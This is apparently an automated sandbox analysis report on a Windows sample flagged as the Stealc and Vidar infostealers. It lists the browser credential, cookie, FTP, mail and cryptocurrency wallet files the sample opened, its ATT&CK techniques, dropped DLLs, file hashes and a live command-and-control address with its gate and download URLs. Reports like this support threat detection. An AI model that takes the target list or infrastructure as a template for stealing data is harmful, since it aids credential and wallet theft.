Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2022166427.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll.	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpl	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpdll	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpO	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dlls	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll(	17%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dllH	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpF	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpJ	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpwser	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php2	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php(	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll2	file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlls	file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AFCBKFHJJJKKFHIDAAKF.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll.	file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37S	file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllH	file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll(	file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2277946638.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpO	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpF	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpJ	file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllH	file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php0%u	file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php(	file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525393
Start date and time:	2024-10-04 05:44:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	6828ce64fe184aebd297c90e4c84b912.exe	Get hash	malicious	Stealc, Vidar	Browse
	NJna3TEAEr.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	6828ce64fe184aebd297c90e4c84b912.exe	Get hash	malicious	Stealc, Vidar	Browse
	NJna3TEAEr.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFHIIDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
